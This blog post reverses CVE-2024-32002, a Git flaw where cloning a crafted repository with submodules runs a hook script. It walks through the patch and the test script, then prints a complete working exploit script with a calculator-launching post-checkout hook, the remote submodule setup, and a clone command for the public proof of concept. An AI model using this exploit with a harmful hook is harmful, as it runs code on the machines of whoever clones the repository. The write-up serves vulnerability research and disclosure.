A new RCE in Git caught my attention on a recent security feed, labeled CVE-2024-32002. The idea of an RCE being triggered through a simple git clone
command fascinated me. Given Git’s ubiquity and the widespread use of the clone
command, I was instantly intrigued. Could something as routine as cloning a repository really open the door to remote code execution? My curiosity was piqued, and I had to investigate. Plus, who doesn’t want an excuse to break stuff in the name of research?
What’s the fun in just reading about an RCE? I wanted to see it wreak havoc – maybe launch a rogue application, or worse, wipe out my directories. At least, I wanted it to pop my calculator. In this post, I’ll walk you through my journey of reversing the Git RCE, from initial discovery to crafting a working exploit.
Basic Reconnaissance
I searched online to see if there were any public POCs for this CVE, but came up empty-handed. However, I quickly found the official advisory:
Repositories with submodules can be crafted in a way that exploits a bug in Git whereby it can be fooled into writing files not into the submodule’s worktree but into a
.git/
directory. This allows writing a hook that will be executed while the clone operation is still running, giving the user no opportunity to inspect the code that is being executed. …Workarounds
If symbolic link support is disabled in Git (e.g. via
git config --global core.symlinks false
), the described attack won’t work.As always, it is best to avoid cloning repositories from untrusted sources.
The advisory’s explanation made sense, but it left me with more questions than answers. How exactly does Git handle submodules under the hood? What role do symlinks play in this vulnerability? To truly grasp the mechanics at play, I knew I had to go deeper. There’s no better way to understand a vulnerability than by dissecting the source code… But before diving headfirst into the source code, I needed to solidify my understanding of the underlying concepts.
get git
under the hood
git is a version control system that tracks changes to code over time. It manages complex projects by dividing them into smaller, manageable chunks called repositories. To further streamline this process, Git employs submodules – essentially, repositories nested within other repositories. Think of it as an inception, but for code.
Each submodule resides in a designated directory within the main repository. Git tracks the submodule’s path, ensuring that changes are recorded accurately. However, there’s a catch: on case-insensitive filesystems (like the default ones on Windows and macOS), A/modules/x
and a/modules/x
are treated as the same path. This seemingly minor detail sets the stage for our CVE.
Symlinks
Symlinks, or symbolic links, are file system objects that act as pointers to other files or directories. In Git context, they can be used to reference other parts of the repository. While convenient, symlinks can also be exploited for malicious purposes.
Digging into the source code
The best way to reverse a vulnerability is to look at the patch diff. I found the commit that fixed the vulnerability:
Only two files were changed, which was a relief!
To navigate through the code faster, I cloned the source code for Git locally, checked out the last known vulnerable state (version 2.45.0), and opened it in VS Code:
git clone https://github.com/git/git.git
git checkout v2.45.0
code .
Once I had the source code for Git open in VS Code, I started by examining the patch that fixed the vulnerability. The commit message for the patch provided a useful overview:
submodules: submodule paths must not contain symlinks When creating a submodule path, we must be careful not to follow symbolic links. Otherwise we may follow a symbolic link pointing to a gitdir (which are valid symbolic links!) e.g. while cloning.
On case-insensitive filesystems, however, we blindly replace a directory that has been created as part of the
clone
operation with a symlink when the path to the latter differs only in case from the former’s path.Let’s simply avoid this situation by expecting not ever having to overwrite any existing file/directory/symlink upon cloning. That way, we won’t even replace a directory that we just created.
This addresses CVE-2024-32002.
The key changes were in two files: builtin/submodule--helper.c
and t/t7406-submodule-update.sh
.
Inspecting builtin/submodule--helper.c
I focused on the clone_submodule
function, which handles the cloning process for submodules.
- New function
dir_contains_only_dotgit
: This function checks if a directory contains only a.git
file or directory. If any other files or directories are present, it returns an error. This looked like a safety check to ensure that directories aren’t overwritten with symlinks inadvertently. - Changes in
clone_submodule
: Before proceeding with the clone, Git checks if the submodule directory exists and is empty. If not, it aborts the operation to avoid accidental overwrites.
Inspecting t/t7406-submodule-update.sh
The second file, t/t7406-submodule-update.sh
, is a test script:
From a quick look, it appeared to have a treasure-trove of information regarding the vulnerability reproduction. It looked very promising! I decided to focus on it.
1. Global configuration
test_config_global protocol.file.allow always &&
test_config_global core.symlinks true &&
tell_tale_path="$PWD/tell.tale" &&
- The script sets Git configuration options:
protocol.file.allow always
enables file protocol for Git.core.symlinks true
ensures symlink support is enabled. - It also defines
tell_tale_path
as a marker file to check if the RCE worked.
2. Setting up the hook repository
git init hook &&
(
cd hook &&
mkdir -p y/hooks &&
write_script y/hooks/post-checkout <<-EOF &&
echo HOOK-RUN >&2
echo hook-run >"$tell_tale_path"
EOF
git add y/hooks/post-checkout &&
test_tick &&
git commit -m post-checkout
) &&
- Initializes a new repository named
hook
. - Creates a
post-checkout
hook that writeshook-run
totell_tale_path
. - Commits the hook script to the hook repository.
3. Setting Up the Main Repository:
hook_repo_path="$(pwd)/hook" &&
git init captain &&
(
cd captain &&
git submodule add --name x/y "$hook_repo_path" A/modules/x &&
test_tick &&
git commit -m add-submodule &&
printf .git >dotgit.txt &&
git hash-object -w --stdin <dotgit.txt >dot-git.hash &&
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info &&
git update-index --index-info <index.info &&
test_tick &&
git commit -m add-symlink
) &&
- Defines the path to the hook repository.
- Initializes another repository named
captain
. - Adds the hook repository as a submodule at
A/modules/x
and commits this change. - Creates a symlink pointing to
.git
and updates the index with this symlink.
Testing the Clone Operation:
This was the last piece in the test script:
test_path_is_missing "$tell_tale_path" &&
test_must_fail git clone --recursive captain hooked 2>err &&
grep "directory not empty" err &&
test_path_is_missing "$tell_tale_path"
- Verifies that
tell_tale_path
does not exist initially. - Attempts to clone the captain repository recursively, expecting the operation to fail.
- Checks the error message for
directory not empty
, confirming the prevention of the vulnerability. - Ensures that
tell_tale_path
still does not exist, indicating thepost-checkout
hook did not run. My goal was to do the opposite!
Piecing everything together
Armed with the insights gleaned from the patch and test script, I had a solid grasp of the vulnerability chain. The root of the issue lies in case-insensitive filesystems treating paths like A/modules/x
and a/modules/x
as identical. This allows you to craft a malicious symlink within the submodule. This symlink is named with a case variation of the submodule’s path (e.g., A/modules/x
), but cleverly points to the submodule’s hidden .git/
directory.
When a victim clones the malicious repository, Git creates a directory for the submodule (e.g., A/modules/x
). However, the case-insensitive nature of the filesystem might cause Git to mistakenly see the symlink (a/modules/x
) as a valid alternative and replace the newly created directory with it. This seemingly innocuous substitution has a dangerous consequence: it exposes the hidden .git/
directory to git’s execution context.
The exposed .git/
directory can contain hooks – scripts that are automatically executed during various Git operations. The attacker’s malicious hook, now lurking in plain sight, is triggered by Git’s normal operations. This hook is where we can inject our RCE code!
Getting the RCE
With this understanding, I set out to craft my own exploit. I followed the blueprint provided by the test script, making a few adjustments. Instead of a benign file write, I replaced the post-checkout
hook with my own injection code.
I ran my exploit script in my Windows VM. But nothing happened. Of course, Windows threw a fit at first, because apparently, only admins can make symlinks.
I ran Git Bash as Administrator and verified the symlinks were working fine. After some trial-and-error attempts, I was able to get it working!
In the famous words of your local bug bounty hunter, “boom!”. We have a calculator!
Here’s the final version of my script (added comments for clarity):
#!/bin/bash
# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true
# optional, but I added it to avoid the warning message
git config --global init.defaultBranch main
# Define the tell-tale path
tell_tale_path="$PWD/tell.tale"
# Initialize the hook repository
git init hook
cd hook
mkdir -p y/hooks
# Write the malicious code to a hook
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
echo "amal_was_here" > /tmp/pwnd
calc.exe
open -a Calculator.app
EOF
# Make the hook executable: important
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "post-checkout"
cd ..
# Define the hook repository path
hook_repo_path="$(pwd)/hook"
# Initialize the captain repository
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"
# Create a symlink
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
cd ..
git clone --recursive captain hooked
I checked /tmp/pwnd
:
It was pretty neat. However, I was using a local repository in my git clone
command: git clone --recursive captain hooked
. I wanted to reproduce it using a remote repository URL. After all, that’s what a real-world attacker would do.
Weaponizing a GitHub repository
The git submodule in the captain
repository was pointing to the hook
repository using a local file system path:
$ cat captain/.gitmodules
[submodule "x/y"]
path = A/modules/x
url = C:/Users/user/rce/hook
I replaced it with an SSH URL:
[submodule "x/y"]
path = A/modules/x
url = [email protected]:amalmurali47/hook.git
After making this change, I uploaded both the captain
and hook
repositories to GitHub. With everything in place, I performed a recursive clone from my terminal to test the setup.
Execution on Windows:
Execution on Mac:
I had the full exploit working in less than 30 minutes. Not bad for an afternoon’s work!
Working PoC
You can find the complete PoC repository on GitHub: amalmurali47/git_rce. This repository contains submodule and the exploit script. Additionally, the malicious submodule repository containing the hook is available here: amalmurali47/hook.
To reproduce the exploit, clone the repository recursively as shown below:
git clone --recursive [email protected]:amalmurali47/git_rce.git
⚠️ Make sure to run the command on a Windows or Mac system with symlink support enabled. Be aware of the potential risks and only run this on systems you have permission to use.
This was an interesting vulnerability to reverse. Massive props to filip-hejsek for discovering it!